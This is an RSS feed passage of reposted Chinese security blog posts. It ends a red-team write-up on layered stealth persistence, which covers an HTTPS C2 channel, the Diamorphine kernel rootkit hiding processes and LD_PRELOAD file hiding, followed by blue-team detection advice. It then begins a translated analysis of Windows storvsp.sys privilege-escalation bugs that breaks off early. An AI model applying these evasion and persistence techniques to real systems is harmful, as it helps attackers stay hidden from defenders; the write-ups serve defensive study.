0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">尽管如此，骨干节点依然在线。为什么？</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">层级 1（C2）：管理员封锁了出站吗？没有。流量对 relay 来说就是正常的 HTTPS。合法 SNI，443 端口，没有任何可疑。对防火墙和 DPI 来说，这就是在访问 AWS 上的一个网站。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">层级 2（Diamorphine）：如果在骨干节点上运行 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ps aux | grep c2</span></code><span leaf="">，进程通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">kill -31</span></code><span leaf="">被隐藏了。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">htop</span></code><span leaf="">不显示。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">auditd</span></code><span leaf="">不记录。进程存在，但内核说它不存在。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">层级 3（LD_PRELOAD）：如果运行 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">find / -name &#34;__rk_*&#34;</span></code><span leaf="">或 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ls /usr/sbin/ | grep c2</span></code><span leaf="">，LD_PRELOAD 的 hook 返回空。C2 的文件在文件系统中不可见。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">骨干节点也不在&#34;被攻陷&#34;的主机列表上。管理员认为源头是 WildFly 主机。他重置了他认为被攻陷的 Linux 服务器，但骨干节点不在这个列表上，通过 C2 的访问从未被检测为异常。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">而且没有监听端口，对骨干节点的端口扫描什么也扫不到。C2 只做出站连接。没有什么可扫描的。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">总结：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">IR 持续时间：几个小时</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">被重置的主机：多台</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">之前被攻陷的主机：多台</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">之后被攻陷的主机：1（骨干节点逃脱了）</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">恢复操作的时间：0（C2 从未掉线）</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">DC 上的检测：有（Event 4662），但日志后来被清理了</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">0x0B 蓝队需要什么</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">孤立的检测对这套架构无效。每一层都绕过了一类检测：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">本地行为检测（Kaspersky KES）能抓到单台主机上的异常，但如果没有 SIEM 在主机间做关联，IR 就是片面的。每台主机都是一座孤岛。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">443/80 上的出站过滤没用。需要 TLS fingerprinting（JA3），自定义 C2 的 ClientHello 与真实浏览器不同。还需要 flow analysis——HTTPS 中长会话且模式不像 HTTP。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">LKM rootkit 能通过 rkhunter、chkrootkit、unhide。只有 Volatility 内存取证能抓到。需要内存转储 + </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">linux_hidden_modules</span></code><span leaf="">插件。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">LD_PRELOAD rootkit 能通过用户态扫描器。需要静态二进制绕过（busybox static）或对 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/etc/ld.so.preload</span></code><span leaf="">做文件完整性监控（FIM）。</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">KSC 许可证过期 = 无关联能力的独立 EDR。策略不被强制执行，定义不更新。</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">能抓住一切的组合方案：SIEM 关联行为检测 + flow analysis + FIM + 内存取证。具有内核可见性的 EDR（Falco, Tetragon）。带 JA3 hashing 的网络 IDS（Suricata, Zeek）。主动威胁狩猎。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这套组合需要钱、时间和人。99% 的 SOC 没有。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">0x0C 经验教训</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">红队方面：隐蔽持久化不是把一件东西藏好。而是把 3 件东西用不同的方式藏起来，让蓝队不得不打赢三场独立的赛跑。如果他们抓住了一层，另外两层还在。如果抓住了两层，第三层仍然有效。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">蓝队方面：孤立的检测不奏效。每个工具看到一面。Kaspersky 看到一台主机上的行为。Zeek 看到网络上的流量。Volatility 看到内存。AIDE 看到文件系统。如果没人把碎片拼起来，每个告警都被当作孤立事件处理，而攻击者仍然在里面。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">&#34;我们重置了一切并清除了攻击者&#34;和&#34;我们重置了一切但攻击者还在里面&#34;之间的区别，不是运气。是架构。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">0x0D 参考资料</span></h3><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">Diamorphine, LKM rootkit — m0nad，支持 kernel 2.6.x 到 6.x</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">Linux Rootkits: New Methods for Kernel 5.7+ — TheXcellerator，kprobe 绕过 kallsyms_lookup_name 的方法</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">File-less Persistence with LD_PRELOAD — Joachim Bauman，用户态 rootkit 技术</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">ld.so.preload group-writeable privesc — pwnd.blog 的 trick，覆盖通过可写文件提权的攻击向量</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">TLS Fingerprinting with JA3 and JA3S — Salesforce Engineering，如何 fingerprint ClientHello</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">Volatility linux_hidden_modules — 在内存转储中检测隐藏内核模块的插件</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">DCSync, Mimikatz LSADump — ADSecurity，lsadump::dcsync 文档</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">Impacket — Fortra/Core Security，AD 的 Python 工具包（wmiexec, secretsdump, GetADUsers）</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">xp_cmdshell Server Configuration Option — Microsoft Docs</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">hashcat example hashes — 模式参考（1000=NTLM, 1731=SQL Server, 10=PostgreSQL MD5）</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">MITRE ATT&amp;CK T1014, Rootkit — rootkit 安装技术</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">PAC, Privilege Attribute Certificate — Microsoft Open Specifications，验证 golden ticket 的 PAC 结构</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">WildFly Admin Guide — 官方文档，management console 和部署 API</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">Falco 和 Tetragon, eBPF runtime security — 运行时内核监控以检测 rootkit</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px;"><span leaf="">所述技术针对自有实验环境（GOAD, HackTheBox, 本地虚拟机）。</span></p></blockquote><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-top: 15px;margin-right: 0px;margin-left: 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);margin-bottom: 0px !important;"><p style="margin: 0px 0px 15px;"><span leaf="">免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。</span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://pwnd.blog/article/triple-layer-stealth-persistence">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=45b8c873&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247496813%26idx%3D2%26sn%3D95541ba4251dbc5686dab7bb78dc8e98">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 06 Aug 2026 13:26:00 +0800</pubDate>
    </item>
    <item>
      <title>从虚拟共享到物理 Shell：利用 Windows 不一致的访问控制实现本地权限提升</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247496794&amp;idx=1&amp;sn=b61e569f12536d131cb27a543af0bd7a</link>
      <description>本文分析了 storvsp.sys 驱动中两个访问控制不当漏洞（CVE-2025-59517 和 CVE-2025-64673），通过链式利用实现低权限用户到 SYSTEM 的提权。</description>
      <content:encoded><![CDATA[<p><span>Siddh Shah</span> <span>2026-08-05 20:26</span> <span style="display: inline-block;">中国澳门</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=9bcac632&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nSgKpncqyvO03RgMHMB0rfOpho7ZFnQAzFHJUD5Qj64TvabL5iaPekeAibibicmHYGhjNMrqlj16dicMQBkCaoyArMT3eibcq2IEMbxU4%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>本文分析了 storvsp.sys 驱动中两个访问控制不当漏洞（CVE-2025-59517 和 CVE-2025-64673），通过链式利用实现低权限用户到 SYSTEM 的提权。</p>
  <table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">原文链接</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">作者</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf=""><a href="https://blog.exodusintel.com/2026/07/27/from-virtual-share-to-physical-shell-leveraging-windows-inconsistent-access-control-for-lpe/" target="_blank">https://blog.exodusintel.com/2026/07/27/from-virtual-share-to-physical-shell-leveraging-windows-inconsistent-access-control-for-lpe/</a></span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Siddh Shah</span></p></td></tr></tbody></table><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">概述</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">本博文描述了如何利用 Microsoft Windows 2025 年 12 月安全更新中修复的两个漏洞。在该更新中，受影响组件共被分配了三个 CVE，其中 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CVE-2025-59517</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">CVE-2025-64673</span></code><span leaf="">两个将在本文中讨论。需要注意的是，这两个漏洞均非由 Exodus 发现；我们根据 Microsoft 提供的安全公告将 CVE 关联到了相应的漏洞函数。然而，由于这三个 CVE 针对的是同一驱动程序中的同一类漏洞，且在单次更新中一并修复，因此仅凭安全公告的描述无法将每个 CVE 明确映射到特定函数。本文中的归因是通过逆向工程补丁后的二进制文件建立的，但实际的 CVE 到函数的映射关系有可能与本文所述有所不同。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这两个漏洞源于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">storvsp.sys</span></code><span leaf="">内核驱动中的访问控制不当，可被链式利用以在多个受影响的 Microsoft Windows 操作系统版本上将低权限用户提升至 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">NT AUTHORITY\SYSTEM</span></code><span leaf="">。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">免责声明：</span></strong><span leaf="">本文详述的所有结构和函数定义均通过对 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">storvsp.sys</span></code><span leaf="">二进制文件的逆向推导得出。由于该模块不提供源代码，因此这些定义可能无法准确反映 Microsoft 内部的命名约定。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">背景</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">本节概述虚拟服务器消息块（vSMB）组件及相关结构，为理解漏洞提供基础。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Windows 虚拟服务器消息块</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 